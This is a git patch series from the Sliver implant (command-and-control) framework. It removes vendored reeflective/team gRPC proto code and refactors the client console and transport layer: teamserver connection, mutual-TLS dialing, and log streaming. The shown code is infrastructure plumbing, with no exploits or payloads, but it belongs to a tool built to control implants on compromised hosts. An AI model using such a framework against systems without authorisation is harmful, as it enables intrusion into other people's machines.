return - } - if !protoimpl.UnsafeEnabled { - file_client_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Client); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_client_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Users); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_client_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*User); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Version); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Empty); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } - type x struct{} - out := protoimpl.TypeBuilder{ - File: protoimpl.DescBuilder{ - GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_client_proto_rawDesc, - NumEnums: 0, - NumMessages: 5, - NumExtensions: 0, - NumServices: 0, - }, - GoTypes: file_client_proto_goTypes, - DependencyIndexes: file_client_proto_depIdxs, - MessageInfos: file_client_proto_msgTypes, - }.Build() - File_client_proto = out.File - file_client_proto_rawDesc = nil - file_client_proto_goTypes = nil - file_client_proto_depIdxs = nil -} diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/client.proto b/vendor/github.com/reeflective/team/transports/grpc/proto/client.proto deleted file mode 100644 index 21a855b2f3..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/proto/client.proto +++ /dev/null @@ -1,40 +0,0 @@ -syntax = "proto3"; - -package client; - -// [ Client & User ] -message Client { - uint32 ID = 1; - string Name = 2; - - User User = 3; -} - -message Users { repeated User Users = 1; } - -message User { - string Name = 1; - bool Online = 2; - int64 LastSeen = 3; - int32 Clients = 4; -} - - -// [ Version ] - -message Version { - int32 Major = 1; - int32 Minor = 2; - int32 Patch = 3; - - string Commit = 4; - bool Dirty = 5; - int64 CompiledAt = 6; - - string OS = 7; - string Arch = 8; -} - -// [ Others ] -message Empty {} - diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/service.pb.go b/vendor/github.com/reeflective/team/transports/grpc/proto/service.pb.go deleted file mode 100644 index 7ba84d01ec..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/proto/service.pb.go +++ /dev/null @@ -1,85 +0,0 @@ -// Code generated by protoc-gen-go. DO NOT EDIT. -// versions: -// protoc-gen-go v1.31.0 -// protoc v3.18.1 -// source: service.proto - -package proto - -import ( - protoreflect "google.golang.org/protobuf/reflect/protoreflect" - protoimpl "google.golang.org/protobuf/runtime/protoimpl" - reflect "reflect" -) - -const ( - // Verify that this generated code is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) - // Verify that runtime/protoimpl is sufficiently up-to-date. - _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) -) - -var File_service_proto protoreflect.FileDescriptor - -var file_service_proto_rawDesc = []byte{ - 0x0a, 0x0d, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, - 0x06, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x1a, 0x0c, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x32, 0x5e, 0x0a, 0x04, 0x54, 0x65, 0x61, 0x6d, 0x12, 0x2c, 0x0a, - 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0d, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x28, 0x0a, 0x08, 0x47, - 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, - 0x55, 0x73, 0x65, 0x72, 0x73, 0x42, 0x85, 0x01, 0x0a, 0x0a, 0x63, 0x6f, 0x6d, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x42, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x50, 0x72, 0x6f, - 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x31, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, - 0x2f, 0x72, 0x65, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x2f, 0x74, 0x65, 0x61, - 0x6d, 0x2f, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x2f, 0x67, 0x72, 0x70, - 0x63, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0xa2, 0x02, 0x03, 0x43, 0x58, 0x58, 0xaa, 0x02, 0x06, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0xca, 0x02, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0xe2, - 0x02, 0x12, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x5c, 0x47, 0x50, 0x42, 0x4d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0xea, 0x02, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x62, 0x06, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x33, -} - -var file_service_proto_goTypes = []interface{}{ - (*Empty)(nil), // 0: client.Empty - (*Version)(nil), // 1: client.Version - (*Users)(nil), // 2: client.Users -} -var file_service_proto_depIdxs = []int32{ - 0, // 0: client.Team.GetVersion:input_type -> client.Empty - 0, // 1: client.Team.GetUsers:input_type -> client.Empty - 1, // 2: client.Team.GetVersion:output_type -> client.Version - 2, // 3: client.Team.GetUsers:output_type -> client.Users - 2, // [2:4] is the sub-list for method output_type - 0, // [0:2] is the sub-list for method input_type - 0, // [0:0] is the sub-list for extension type_name - 0, // [0:0] is the sub-list for extension extendee - 0, // [0:0] is the sub-list for field type_name -} - -func init() { file_service_proto_init() } -func file_service_proto_init() { - if File_service_proto != nil { - return - } - file_client_proto_init() - type x struct{} - out := protoimpl.TypeBuilder{ - File: protoimpl.DescBuilder{ - GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_service_proto_rawDesc, - NumEnums: 0, - NumMessages: 0, - NumExtensions: 0, - NumServices: 1, - }, - GoTypes: file_service_proto_goTypes, - DependencyIndexes: file_service_proto_depIdxs, - }.Build() - File_service_proto = out.File - file_service_proto_rawDesc = nil - file_service_proto_goTypes = nil - file_service_proto_depIdxs = nil -} diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/service.proto b/vendor/github.com/reeflective/team/transports/grpc/proto/service.proto deleted file mode 100644 index 13223cd11e..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/proto/service.proto +++ /dev/null @@ -1,13 +0,0 @@ -syntax = "proto3"; - -package client; - -import "client.proto"; - -// Team offers basic methods used by team client/servers to communicate -// their related informations, such as connected users, compilation info, -// and streaming their output/console logs. -service Team { - rpc GetVersion(Empty) returns (Version); - rpc GetUsers(Empty) returns (Users); -} diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/service_grpc.pb.go b/vendor/github.com/reeflective/team/transports/grpc/proto/service_grpc.pb.go deleted file mode 100644 index e7dde5e622..0000000000 --- a/vendor/github.com/reeflective/team/transports/grpc/proto/service_grpc.pb.go +++ /dev/null @@ -1,146 +0,0 @@ -// Code generated by protoc-gen-go-grpc. DO NOT EDIT. -// versions: -// - protoc-gen-go-grpc v1.3.0 -// - protoc v3.18.1 -// source: service.proto - -package proto - -import ( - context "context" - grpc "google.golang.org/grpc" - codes "google.golang.org/grpc/codes" - status "google.golang.org/grpc/status" -) - -// This is a compile-time assertion to ensure that this generated file -// is compatible with the grpc package it is being compiled against. -// Requires gRPC-Go v1.32.0 or later. -const _ = grpc.SupportPackageIsVersion7 - -const ( - Team_GetVersion_FullMethodName = "/client.Team/GetVersion" - Team_GetUsers_FullMethodName = "/client.Team/GetUsers" -) - -// TeamClient is the client API for Team service. -// -// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. -type TeamClient interface { - GetVersion(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Version, error) - GetUsers(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Users, error) -} - -type teamClient struct { - cc grpc.ClientConnInterface -} - -func NewTeamClient(cc grpc.ClientConnInterface) TeamClient { - return &teamClient{cc} -} - -func (c *teamClient) GetVersion(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Version, error) { - out := new(Version) - err := c.cc.Invoke(ctx, Team_GetVersion_FullMethodName, in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -func (c *teamClient) GetUsers(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Users, error) { - out := new(Users) - err := c.cc.Invoke(ctx, Team_GetUsers_FullMethodName, in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - -// TeamServer is the server API for Team service. -// All implementations must embed UnimplementedTeamServer -// for forward compatibility -type TeamServer interface { - GetVersion(context.Context, *Empty) (*Version, error) - GetUsers(context.Context, *Empty) (*Users, error) - mustEmbedUnimplementedTeamServer() -} - -// UnimplementedTeamServer must be embedded to have forward compatible implementations. -type UnimplementedTeamServer struct { -} - -func (UnimplementedTeamServer) GetVersion(context.Context, *Empty) (*Version, error) { - return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented") -} -func (UnimplementedTeamServer) GetUsers(context.Context, *Empty) (*Users, error) { - return nil, status.Errorf(codes.Unimplemented, "method GetUsers not implemented") -} -func (UnimplementedTeamServer) mustEmbedUnimplementedTeamServer() {} - -// UnsafeTeamServer may be embedded to opt out of forward compatibility for this service. -// Use of this interface is not recommended, as added methods to TeamServer will -// result in compilation errors. -type UnsafeTeamServer interface { - mustEmbedUnimplementedTeamServer() -} - -func RegisterTeamServer(s grpc.ServiceRegistrar, srv TeamServer) { - s.RegisterService(&Team_ServiceDesc, srv) -} - -func _Team_GetVersion_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(Empty) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(TeamServer).GetVersion(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: Team_GetVersion_FullMethodName, - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(TeamServer).GetVersion(ctx, req.(*Empty)) - } - return interceptor(ctx, in, info, handler) -} - -func _Team_GetUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(Empty) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(TeamServer).GetUsers(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: Team_GetUsers_FullMethodName, - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(TeamServer).GetUsers(ctx, req.(*Empty)) - } - return interceptor(ctx, in, info, handler) -} - -// Team_ServiceDesc is the grpc.ServiceDesc for Team service. -// It's only intended for direct use with grpc.RegisterService, -// and not to be introspected or modified (even as a copy) -var Team_ServiceDesc = grpc.ServiceDesc{ - ServiceName: "client.Team", - HandlerType: (*TeamServer)(nil), - Methods: []grpc.MethodDesc{ - { - MethodName: "GetVersion", - Handler: _Team_GetVersion_Handler, - }, - { - MethodName: "GetUsers", - Handler: _Team_GetUsers_Handler, - }, - }, - Streams: []grpc.StreamDesc{}, - Metadata: "service.proto", -} diff --git a/vendor/modules.txt b/vendor/modules.txt index 4a534c0b54..db8dd69a0f 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -550,7 +550,6 @@ github.com/reeflective/team/internal/version github.com/reeflective/team/server github.com/reeflective/team/server/commands github.com/reeflective/team/transports/grpc/common -github.com/reeflective/team/transports/grpc/proto # github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec ## explicit; go 1.12 github.com/remyoudompheng/bigfft From eb127eaf09432ef0d3d0ebcc3ddd5e26045d27d2 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 29 Jul 2023 21:34:24 +0200 Subject: [PATCH 057/124] Cleanup and tidy client console/transport code --- client/console/console.go | 168 +++++++++++++++++++++---------- client/console/log.go | 31 ++---- client/console/teamclient.go | 77 ++++++++++++++ client/transport/client.go | 156 ++++++++-------------------- client/transport/middleware.go | 24 ++++- client/version/sliver-version.go | 16 +-- client/version/updates.go | 12 +-- 7 files changed, 277 insertions(+), 207 deletions(-) create mode 100644 client/console/teamclient.go diff --git a/client/console/console.go b/client/console/console.go index d669e1892d..f00b5f0fb6 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -89,14 +89,28 @@ type ( BeaconTaskCallback func(*clientpb.BeaconTask) ) +// SliverClient is a general-purpose, interface-agnostic client. +// +// It allows to use the Sliver toolset with an arbitrary number of remote/local +// Sliver servers, either through its API (RPC client), CLI (the command tree), +// or through an arbitrary mix of those. +// +// The Sliver client will by default be used with remote, mutual TLS authenticated +// connections to Sliver teamservers, which configurations are found in the teamclient +// directory. +// However, the teamclient API/CLI offers ways to manage and use those configurations, +// which means that users of this Sliver client may build arbitrarily complex server +// selection/connection strategies. type SliverClient struct { // Core client + App *console.Console + Settings *assets.ClientSettings + IsServer bool + IsCLI bool + + // Teamclient & remotes Teamclient *client.Client - App *console.Console - Settings *assets.ClientSettings - IsServer bool - IsCLI bool - completing bool + dialer *transport.TeamClient // Logging jsonHandler slog.Handler @@ -112,37 +126,46 @@ type SliverClient struct { } // NewSliverClient is the general-purpose Sliver Client constructor. -func NewSliverClient(teamclient *transport.Teamclient) (*SliverClient, []client.Options) { - // Generate the console client, setting up menus, etc. - con := newConsole() - - // The teamclient requires hooks to bind RPC clients around its connection. - // NOTE: this might not be needed either if Sliver uses its own teamclient backend. - bindClient := func(clientConn any) error { - grpcClient, ok := clientConn.(*grpc.ClientConn) - if !ok || grpcClient == nil { - return client.ErrNoTeamclient - } - - // Register our core Sliver RPC client, and start monitoring - // events, tunnels, logs, and all. - con.connect(grpcClient) +// +// The returned client includes and is ready to use the following: +// - A reeflective/team.Client to manage, use and interact with an arbitrary +// number of Sliver teamservers. This includes connecting, registering RPC +// client interfaces, logging, authenticating and disconnecting. +// - A console application, which can either be used closed-loop, or in a classic +// exec-once CLI style. Users of this client are free to use either at will. +// - Cobra-command runner methods to be included in new commands and completers. +// - Methods to set and interact with a Sliver implant target. +// - Various logging/streaming utilities. +// +// Any error returned from this call is critical, meaning that given the current +// options (teamclient, gRPC, etc), the SliverClient is not able to work properly. +func NewSliverClient(opts ...grpc.DialOption) (con *SliverClient, err error) { + // Create the client core, everything interface-related. + con = newClient() - return nil - } + // Our reeflective/team.Client needs our gRPC stack. + con.dialer = transport.NewClient(opts...) var clientOpts []client.Options clientOpts = append(clientOpts, - client.WithDialer(teamclient, bindClient), + client.WithDialer(con.dialer), ) - return con, clientOpts + // Create a new reeflective/team.Client, which is in charge of selecting, + // and connecting with, remote Sliver teamserver configurations, etc. + // Includes client backend logging, authentication, core teamclient methods... + con.Teamclient, err = client.New("sliver", con, clientOpts...) + if err != nil { + return nil, err + } + + return con, nil } -// newConsole creates the sliver client (and console), creating menus and prompts. +// newClient creates the sliver client (and console), creating menus and prompts. // The returned console does neither have commands nor a working RPC connection yet, // thus has not started monitoring any server events, or started the application. -func newConsole() *SliverClient { +func newClient() *SliverClient { assets.Setup(false, false) settings, _ := assets.LoadSettings() @@ -192,6 +215,56 @@ func newConsole() *SliverClient { return con } +// ConnectRun is a spf13/cobra-compliant runner function to be included +// in/as any of the runners that such cobra.Commands offer to use. +// +// The function will connect the Sliver teamclient to a remote server, +// register its client RPC interfaces, and start handling events/log streams. +// +// Note that this function will always check if it used as part of a completion +// command execution call, in which case asciicast/logs streaming is disabled. +func (con *SliverClient) ConnectRun(cmd *cobra.Command, args []string) error { + // Let our teamclient connect the transport/RPC stack. + // Note that this uses a sync.Once to ensure we don't + // connect more than once. + err := con.Teamclient.Connect() + if err != nil { + return err + } + + // Register our Sliver client services, and monitor events. + // Also set ourselves up to save our client commands in history. + con.connect(con.dialer.Conn) + + // Never enable asciicasts/logs streaming when this + // client is used to perform completions. Both of these will tinker + // with very low-level IO and very often don't work nice together. + if compCommandCalled(cmd) { + return nil + } + + // Else, initialize our logging/asciicasts streams. + return con.startClientLog() +} + +// ConnectComplete is a special connection mode which should be +// called in completer functions that need to use the client RPC. +// It is almost equivalent to client.ConnectRun(), but for completions. +// +// If the connection failed, an error is returned along with a completion +// action include the error as a status message, to be returned by completers. +// +// This function is safe to call regardless of the client being used +// as a closed-loop console mode or in an exec-once CLI mode. +func (con *SliverClient) ConnectComplete() (carapace.Action, error) { + err := con.Teamclient.Connect() + if err != nil { + return carapace.ActionMessage("connection error: %s", err), nil + } + + return carapace.ActionValues(), nil +} + // connect requires a working gRPC connection to the sliver server. // It starts monitoring events, implant tunnels and client logs streams. func (con *SliverClient) connect(conn *grpc.ClientConn) { @@ -201,11 +274,8 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { go con.startEventLoop() go core.TunnelLoop(con.Rpc) - // Stream logs/asciicasts - con.startClientLog() - // History sources - sliver := con.App.NewMenu(consts.ImplantMenu) + sliver := con.App.Menu(consts.ImplantMenu) histuser, err := con.newImplantHistory(true) if err == nil { @@ -235,28 +305,6 @@ func (con *SliverClient) StartConsole() error { return con.App.Start() } -// ConnectCompletion is a special connection mode which should be -// called in completer functions that need to use the client RPC. -// -// This function is safe to call regardless of the client being used -// as a closed-loop console mode or in an exec-once CLI mode. -func (con *SliverClient) ConnectCompletion() (carapace.Action, error) { - con.completing = true - - err := con.Teamclient.Connect() - if err != nil { - return carapace.ActionMessage("connection error: %s", err), nil - } - - return carapace.ActionValues(), nil -} - -// UnwrapServerErr unwraps errors returned by gRPC method calls. -// Should be used to return every non-nil resp, err := con.Rpc.Function(). -func (con *SliverClient) UnwrapServerErr(err error) error { - return errors.New(status.Convert(err).Message()) -} - // Disconnect disconnectss the client from its Sliver server, // closing all its event/log streams and files, then closing // the core Sliver RPC client connection. @@ -398,6 +446,12 @@ func (con *SliverClient) GrpcContext(cmd *cobra.Command) (context.Context, conte return context.WithTimeout(context.Background(), timeout) } +// UnwrapServerErr unwraps errors returned by gRPC method calls. +// Should be used to return every non-nil resp, err := con.Rpc.Function(). +func (con *SliverClient) UnwrapServerErr(err error) error { + return errors.New(status.Convert(err).Message()) +} + func (con *SliverClient) CheckLastUpdate() { now := time.Now() lastUpdate := getLastUpdateCheck() @@ -431,3 +485,13 @@ func getLastUpdateCheck() *time.Time { lastUpdate := time.Unix(int64(unixTime), 0) return &lastUpdate } + +func compCommandCalled(cmd *cobra.Command) bool { + for _, compCmd := range cmd.Root().Commands() { + if compCmd != nil && compCmd.Name() == "_carapace" && compCmd.CalledAs() != "" { + return true + } + } + + return false +} diff --git a/client/console/log.go b/client/console/log.go index a6fe68eb2a..8a607153af 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -51,13 +51,6 @@ func (l *ConsoleClientLogger) Write(buf []byte) (int, error) { return len(buf), err } -// CompleteDisableLog forbids the server from streaming its asciicast -// and some logs output to the server, as asciicast and completions both -// tinker with very low-level IO and very often don't work nice together. -func (con *SliverClient) CompleteDisableLog() { - con.completing = true -} - // ClientLogStream requires a log stream name, used to save the logs // going through this stream in a specific log subdirectory/file. func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { @@ -69,10 +62,6 @@ func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, err } func (con *SliverClient) startClientLog() error { - if con.completing { - return nil - } - if !con.Settings.ConsoleLogs { return nil } @@ -88,23 +77,23 @@ func (con *SliverClient) startClientLog() error { con.setupLogger(clientLogFile, clientLogs) // Asciicast sessions. - asciicastFile := getConsoleAsciicastFile() - - asciicastStream, err := con.ClientLogStream("asciicast") - if err != nil { - return fmt.Errorf("Could not get client log stream: %w", err) - } - - err = con.setupAsciicastRecord(asciicastFile, asciicastStream) + // asciicastFile := getConsoleAsciicastFile() + // + // asciicastStream, err := con.ClientLogStream("asciicast") + // if err != nil { + // return fmt.Errorf("Could not get client log stream: %w", err) + // } + // + // err = con.setupAsciicastRecord(asciicastFile, asciicastStream) con.closeLogs = append(con.closeLogs, func() { // Local files clientLogFile.Close() - asciicastFile.Close() + // asciicastFile.Close() // Server streams. clientLogs.Stream.CloseAndRecv() - asciicastStream.Stream.CloseAndRecv() + // asciicastStream.Stream.CloseAndRecv() }) return nil diff --git a/client/console/teamclient.go b/client/console/teamclient.go new file mode 100644 index 0000000000..1aaae8af9d --- /dev/null +++ b/client/console/teamclient.go @@ -0,0 +1,77 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "time" + + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/reeflective/team" + "google.golang.org/grpc/status" +) + +// Users returns a list of all users registered with the app teamserver. +// If the gRPC teamclient is not connected or does not have an RPC client, +// an ErrNoRPC is returned. +func (h *SliverClient) Users() (users []team.User, err error) { + if h.Rpc == nil { + return nil, errors.New("No Sliver client RPC") + } + + res, err := h.Rpc.GetUsers(context.Background(), &commonpb.Empty{}) + if err != nil { + return nil, h.UnwrapServerErr(err) + } + + for _, user := range res.GetUsers() { + users = append(users, team.User{ + Name: user.Name, + Online: user.Online, + LastSeen: time.Unix(user.LastSeen, 0), + }) + } + + return +} + +// ServerVersion returns the version information of the server to which +// the client is connected, or nil and an error if it could not retrieve it. +func (h *SliverClient) Version() (version team.Version, err error) { + if h.Rpc == nil { + return version, errors.New("No Sliver client RPC") + } + + ver, err := h.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) + if err != nil { + return version, errors.New(status.Convert(err).Message()) + } + + return team.Version{ + Major: ver.Major, + Minor: ver.Minor, + Patch: ver.Patch, + Commit: ver.Commit, + Dirty: ver.Dirty, + CompiledAt: ver.CompiledAt, + OS: ver.OS, + Arch: ver.Arch, + }, nil +} diff --git a/client/transport/client.go b/client/transport/client.go index e12b9233f6..456ef65ad8 100644 --- a/client/transport/client.go +++ b/client/transport/client.go @@ -20,79 +20,54 @@ package transport import ( "context" - "errors" "fmt" - "time" - "github.com/reeflective/team" "github.com/reeflective/team/client" - "github.com/reeflective/team/transports/grpc/proto" "google.golang.org/grpc" - "google.golang.org/grpc/status" ) -const ( - kb = 1024 - mb = kb * 1024 - gb = mb * 1024 - - // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb. - ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte - - defaultTimeout = 10 * time.Second -) - -var ( - // ErrNoRPC indicates that no gRPC generated proto.Teamclient bound to a client - // connection is available. The error is raised when the handler hasn't connected. - ErrNoRPC = errors.New("no working core Teamclient available") - - // ErrNoTLSCredentials is an error raised if the teamclient was asked to setup, or try - // connecting with, TLS credentials. If such an error is raised, make sure your team - // client has correctly fetched -using client.Config()- a remote teamserver config. - ErrNoTLSCredentials = errors.New("the Teamclient has no TLS credentials to use") -) - -// Teamclient is a vanilla gRPC client set up and configured -// to interact with remotes/in-memory Sliver teamservers. -// -// This teamclient embeds a team/client.Client core driver and uses -// it for fetching/setting up the transport credentials, dialers, etc... -type Teamclient struct { - *client.Client - conn *grpc.ClientConn - rpc proto.TeamClient +// TeamClient is a type implementing the reeflective/team/client.Dialer +// interface, and can thus be used to communicate with any remote or +// in-memory Sliver teamserver. +// When used to connect remotely, this type can safely +// be instantiated with `new(transport.Teamclient)`. +type TeamClient struct { + team *client.Client options []grpc.DialOption + Conn *grpc.ClientConn } -// NewTeamClient creates a new gRPC-based RPC teamclient and dialer backend. -// This client has by default only a few options, like max message buffer size. -// All options passed to this call are stored as is and will be used later. -func NewTeamClient(opts ...grpc.DialOption) *Teamclient { - client := &Teamclient{ - options: opts, - } +// NewClient creates a teamclient transport with specific gRPC options. +// It can also be used for in-memory clients, which specify their dialer. +func NewClient(opts ...grpc.DialOption) *TeamClient { + tc := new(TeamClient) + tc.options = append(tc.options, opts...) - client.options = append(client.options, - grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)), - ) - - return client + return tc } // Init implements team/client.Dialer.Init(c). -// It uses teamclient core driver for a remote server configuration, -// and uses it to load a set of Mutual TLS dialing options. -func (h *Teamclient) Init(cli *client.Client) error { - h.Client = cli +// It uses teamclient core driver for a remote server configuration. +// It also includes all pre-existing Sliver-specific log/middleware. +func (h *TeamClient) Init(cli *client.Client) error { + h.team = cli config := cli.Config() - options := logMiddlewareOptions(cli) + // Buffering + h.options = append(h.options, + grpc.WithDefaultCallOptions( + grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize), + ), + ) + + // Logging/audit + options := LogMiddlewareOptions(cli) + h.options = append(h.options, options...) // If the configuration has no credentials, we are an // in-memory dialer, don't authenticate/encrypt the conn. if config.PrivateKey != "" { - tlsOpts, err := tlsAuthMiddleware(cli) + tlsOpts, err := TLSAuthMiddleware(cli) if err != nil { return err } @@ -100,85 +75,34 @@ func (h *Teamclient) Init(cli *client.Client) error { h.options = append(h.options, tlsOpts...) } - h.options = append(h.options, options...) - return nil } // Dial implements team/client.Dialer.Dial(). // It uses the teamclient remote server configuration as a target of a dial call. -// If the connection is successful, the teamclient registers a proto.Teamclient -// RPC around its client connection, to provide the core teamclient functionality. -func (h *Teamclient) Dial() (rpcClient any, err error) { +// If the connection is successful, the teamclient registers a Sliver RPC client. +func (h *TeamClient) Dial() (err error) { ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) defer cancel() - host := fmt.Sprintf("%s:%d", h.Config().Host, h.Config().Port) + cfg := h.team.Config() - h.conn, err = grpc.DialContext(ctx, host, h.options...) + host := fmt.Sprintf("%s:%d", cfg.Host, cfg.Port) + + h.Conn, err = grpc.DialContext(ctx, host, h.options...) if err != nil { - return nil, err + return err } - h.rpc = proto.NewTeamClient(h.conn) - - return h.conn, nil + return nil } // Close implements team/client.Dialer.Close(). // It closes the gRPC client connection if any. -func (h *Teamclient) Close() error { - if h.conn == nil { +func (h *TeamClient) Close() error { + if h.Conn == nil { return nil } - return h.conn.Close() -} - -// Users returns a list of all users registered with the app teamserver. -// If the gRPC teamclient is not connected or does not have an RPC client, -// an ErrNoRPC is returned. -func (h *Teamclient) Users() (users []team.User, err error) { - if h.rpc == nil { - return nil, ErrNoRPC - } - - res, err := h.rpc.GetUsers(context.Background(), &proto.Empty{}) - if err != nil { - return nil, err - } - - for _, user := range res.GetUsers() { - users = append(users, team.User{ - Name: user.Name, - Online: user.Online, - LastSeen: time.Unix(user.LastSeen, 0), - }) - } - - return -} - -// ServerVersion returns the version information of the server to which -// the client is connected, or nil and an error if it could not retrieve it. -func (h *Teamclient) Version() (version team.Version, err error) { - if h.rpc == nil { - return version, ErrNoRPC - } - - ver, err := h.rpc.GetVersion(context.Background(), &proto.Empty{}) - if err != nil { - return version, errors.New(status.Convert(err).Message()) - } - - return team.Version{ - Major: ver.Major, - Minor: ver.Minor, - Patch: ver.Patch, - Commit: ver.Commit, - Dirty: ver.Dirty, - CompiledAt: ver.CompiledAt, - OS: ver.OS, - Arch: ver.Arch, - }, nil + return h.Conn.Close() } diff --git a/client/transport/middleware.go b/client/transport/middleware.go index 480fe71150..6ff8d3ab8a 100644 --- a/client/transport/middleware.go +++ b/client/transport/middleware.go @@ -21,6 +21,8 @@ package transport import ( "context" "encoding/json" + "errors" + "time" grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" "github.com/reeflective/team/client" @@ -29,14 +31,30 @@ import ( "google.golang.org/grpc/credentials" ) +const ( + kb = 1024 + mb = kb * 1024 + gb = mb * 1024 + + // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb. + ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte + + defaultTimeout = 10 * time.Second +) + +// ErrNoTLSCredentials is an error raised if the teamclient was asked to setup, or try +// connecting with, TLS credentials. If such an error is raised, make sure your team +// client has correctly fetched -using client.Config()- a remote teamserver config. +var ErrNoTLSCredentials = errors.New("the Teamclient has no TLS credentials to use") + // TokenAuth extracts authentication metadata from contexts, // specifically the "Authorization": "Bearer" key:value 